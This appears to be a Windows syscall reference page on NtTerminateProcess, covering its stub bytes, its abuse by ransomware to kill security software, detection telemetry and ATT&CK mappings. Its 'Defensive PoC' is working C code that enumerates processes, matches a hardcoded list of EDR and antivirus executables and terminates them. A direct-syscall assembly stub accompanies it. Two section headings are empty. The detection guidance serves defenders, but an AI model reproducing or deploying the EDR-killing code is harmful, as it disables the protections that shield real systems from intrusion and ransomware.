NtTerminateProcess

Prototype

NTSTATUS NtTerminateProcess(
  HANDLE   ProcessHandle,
  NTSTATUS ExitStatus
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 2C 00 00 00      mov eax, 0x2C
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtTerminateProcess holds SSN `0x2C` across every Windows 10 / 11 / Server build. It is the kernel implementation behind TerminateProcess / ExitProcess and is also called implicitly by the C runtime's `_exit` and by SEH unhandled-exception finalizers. Calling it with ProcessHandle == NULL is a documented shortcut to kill every thread in the current process besides the caller — the second half of `ExitProcess`'s teardown.

Common malware usage

The defining abuse is **EDR / AV killing** (T1562.001). Modern ransomware (Conti, LockBit, BlackCat/ALPHV, Royal, Akira) and post-exploitation frameworks routinely pair a vulnerable driver BYOVD (zemana, gmer, RTCore64) with a userland binary that walks the process list, matches against a hardcoded EDR-name allowlist (MsMpEng, Sense, CSFalconService, elastic-agent, ...) and either drops to kernel to invoke ZwTerminateProcess directly, or — once the EDR's protection callback has been stripped — calls NtTerminateProcess from userland with PROCESS_TERMINATE. Other uses: aborting an injected helper process after lateral-movement payload delivery, and self-destructing droppers after second-stage handoff.

Detection opportunities

PsSetCreateProcessNotifyRoutineEx callbacks fire on process exit with `Create` == FALSE and include both terminator and victim PIDs; this is the gold telemetry. Sysmon Event ID 5 (`ProcessTerminate`) is much lighter and lacks the terminator field. ETW `Microsoft-Windows-Kernel-Process/ProcessStop` provides the same data. A high-fidelity rule: any non-System, non-csrss process terminating a process whose image path lives under `Program Files\Windows Defender`, `Program Files\Microsoft\Windows Defender Advanced Threat Protection`, `Program Files\CrowdStrike`, `Program Files\SentinelOne`, or similar EDR roots. Pair with EDR self-protection telemetry (PPL violation attempts on Defender's `MsMpEng.exe`).

Direct syscall examples

; Direct syscall stub for NtTerminateProcess (SSN 0x2C, all builds)
NtTerminateProcess PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 2Ch          ; SSN
    syscall
    ret
NtTerminateProcess ENDP

// Defensive PoC: enumerate processes, match against an EDR allowlist,
// and call NtTerminateProcess directly. Assumes prerequisites (token theft
// to SYSTEM, EDR protection callback already stripped via BYOVD) are met.
#include <windows.h>
#include <tlhelp32.h>
#include <wchar.h>

typedef NTSTATUS (NTAPI *pNtTerminateProcess)(HANDLE, NTSTATUS);

static const wchar_t *kTargets[] = {
    L"MsMpEng.exe", L"MsSense.exe", L"CSFalconService.exe",
    L"elastic-agent.exe", L"SentinelAgent.exe", NULL,
};

void KillEDRs(void) {
    pNtTerminateProcess NtTerminateProcess = (pNtTerminateProcess)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtTerminateProcess");

    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof pe };
    for (BOOL ok = Process32FirstW(snap, &pe); ok; ok = Process32NextW(snap, &pe)) {
        for (size_t i = 0; kTargets[i]; ++i) {
            if (_wcsicmp(pe.szExeFile, kTargets[i]) == 0) {
                HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
                if (h) { NtTerminateProcess(h, 0); CloseHandle(h); }
            }
        }
    }
    CloseHandle(snap);
}

// Cargo: windows-sys = "0.59" (Win32_System_Threading, Win32_Foundation)
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::GetCurrentProcess;

extern "system" {
    fn NtTerminateProcess(ProcessHandle: HANDLE, ExitStatus: i32) -> i32;
}

pub fn self_destruct(code: i32) -> ! {
    unsafe { NtTerminateProcess(GetCurrentProcess(), code); }
    loop {}
}

MITRE ATT&CK mappings

• T1562.001Impair Defenses: Disable or Modify Toolsmitre ↗
• T1489Service Stopmitre ↗
• T1106Native APImitre ↗